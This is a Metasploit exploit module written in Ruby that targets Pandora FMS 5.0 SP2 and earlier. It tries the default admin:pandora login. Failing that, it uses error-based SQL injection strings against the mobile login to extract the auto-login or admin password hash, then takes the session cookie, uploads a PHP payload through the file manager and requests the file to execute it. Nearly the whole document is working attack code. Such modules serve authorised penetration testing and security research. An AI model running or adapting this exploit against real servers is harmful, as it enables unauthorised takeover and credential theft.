318 lines
9.9 KiB
Ruby
318 lines
9.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
|
|
'Description' => %q{
|
|
This module attempts to exploit multiple issues in order to gain remote
|
|
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
|
to authenticate using default credentials is performed. If this method
|
|
fails, a SQL injection vulnerability is leveraged in order to extract
|
|
the "Auto Login" password hash. If this value is not set, the module
|
|
will then extract the administrator account's MD5 password hash.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
|
|
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
|
|
['URL', 'http://blog.pandorafms.org/?p=2041']
|
|
],
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' =>
|
|
[
|
|
['Pandora FMS version <= 5.0 SP2', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 50000,
|
|
'DisableNops' => true,
|
|
},
|
|
'DisclosureDate' => "Feb 1 2014",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
|
|
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
|
|
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
|
|
], self.class)
|
|
end
|
|
|
|
def uri
|
|
target_uri.path
|
|
end
|
|
|
|
|
|
def check
|
|
vprint_status("Trying to detect installed version")
|
|
|
|
version = nil
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php')
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
|
|
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
|
|
version = $1
|
|
else
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
end
|
|
|
|
unless version.nil?
|
|
vprint_status("Pandora FMS #{version} found")
|
|
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
# Attempt to login with credentials (default admin:pandora)
|
|
def authenticate
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'vars_get' => {
|
|
'login' => "1",
|
|
},
|
|
'vars_post' => {
|
|
'nick' => datastore['USER'],
|
|
'pass' => datastore['PASS'],
|
|
'Login' => 'Login',
|
|
}
|
|
})
|
|
|
|
return auth_succeeded?(res)
|
|
end
|
|
|
|
# Attempt to login with auto login and SQLi
|
|
def login_hash
|
|
clue = rand_text_alpha(8)
|
|
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
|
|
# select value from tconfig where token = 'loginhash_pwd';
|
|
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
|
|
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
|
|
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
|
|
sqli << "BY x)a) AND 'msf'='msf"
|
|
|
|
password = inject_sql(sqli, clue)
|
|
|
|
if password && password.length != 0
|
|
print_status("Extracted auto login password (#{password})")
|
|
else
|
|
print_error("No auto login password has been defined!")
|
|
return false
|
|
end
|
|
|
|
print_status("Attempting to authenticate using (admin:#{password})")
|
|
# Attempt to login using login hash password
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'vars_get' => {
|
|
'loginhash' => 'auto',
|
|
},
|
|
'vars_post' => {
|
|
'loginhash_data' => Rex::Text.md5("admin#{password}"),
|
|
'loginhash_user' => 'admin',
|
|
}
|
|
})
|
|
|
|
return auth_succeeded?(res)
|
|
end
|
|
|
|
|
|
def auth_succeeded?(res)
|
|
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
|
|
print_status("Successfully authenticated!")
|
|
print_status("Attempting to retrieve session cookie")
|
|
@cookie = res.get_cookies
|
|
if @cookie.include?('PHPSESSID')
|
|
print_status("Successfully retrieved session cookie: #{@cookie}")
|
|
return true
|
|
else
|
|
print_error("Error retrieving cookie!")
|
|
end
|
|
else
|
|
print_error("Authentication failed!")
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
|
|
def extract
|
|
# Generate random string and convert to hex
|
|
clue = rand_text_alpha(8)
|
|
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
|
|
|
|
# select password from tusuario where id_user = 0;
|
|
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
|
|
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
|
|
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
|
|
sqli << "x)a) AND 'msf'='msf"
|
|
|
|
password = inject_sql(sqli, clue)
|
|
|
|
if password && password.length != 0
|
|
print_good("Extracted admin password hash, unsalted md5 - [ #{password} ]")
|
|
else
|
|
print_error("Unable to extract password hash!")
|
|
return false
|
|
end
|
|
end
|
|
|
|
|
|
def inject_sql(sql, fence_post)
|
|
# Extract password hash from database
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
|
|
'vars_post' => {
|
|
'action' => 'login',
|
|
'user' => sql,
|
|
'password' => 'pass',
|
|
'input' => 'Login'
|
|
}
|
|
})
|
|
|
|
result = nil
|
|
if res && res.code == 200
|
|
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
|
|
if match
|
|
result = match[1]
|
|
else
|
|
print_error("SQL injection failed")
|
|
end
|
|
end
|
|
result
|
|
end
|
|
|
|
def upload
|
|
# Extract hash and hash2 from response
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'cookie' => @cookie,
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'vars_get' => {
|
|
'sec' => 'gsetup',
|
|
'sec2' => 'godmode/setup/file_manager'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
|
|
form = $1
|
|
|
|
# Extract hash
|
|
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
|
|
hash = $1
|
|
else
|
|
print_error("Could not extract hash from response!")
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
end
|
|
|
|
# Extract hash2
|
|
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
|
|
hash2 = $1
|
|
else
|
|
print_error("Could not extract hash2 from response!")
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
end
|
|
|
|
# Extract real_directory
|
|
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
|
|
real_directory = $1
|
|
else
|
|
print_error("Could not extract real_directory from response!")
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
end
|
|
else
|
|
print_error("Could not identify upload form!")
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
end
|
|
|
|
|
|
# Upload script
|
|
@payload_name = "#{rand_text_alpha(8)}.php"
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
|
|
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
|
|
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
|
|
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
|
|
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
|
|
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
|
|
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
|
|
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
|
|
|
|
print_status("Attempting to upload payload #{@payload_name}...")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'cookie' => @cookie,
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'data' => post_data.to_s,
|
|
'vars_get' => {
|
|
'sec' => 'gsetup',
|
|
'sec2' => 'godmode/setup/file_manager'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body.include?("Upload correct")
|
|
register_file_for_cleanup(@payload_name)
|
|
print_status("Successfully uploaded payload")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
end
|
|
end
|
|
|
|
|
|
def exploit
|
|
# First try to authenticate using default or user-supplied credentials
|
|
print_status("Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
|
|
auth = authenticate
|
|
|
|
unless auth
|
|
print_status("Attempting to extract auto login hash via SQLi")
|
|
auth = login_hash
|
|
end
|
|
|
|
unless auth
|
|
print_status("Attempting to extract admin password hash with SQLi")
|
|
extract
|
|
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
|
|
end
|
|
|
|
print_status("Uploading PHP payload...")
|
|
upload
|
|
|
|
print_status("Executing payload...")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'images', @payload_name),
|
|
'cookie' => @cookie
|
|
}, 1)
|
|
end
|
|
end
|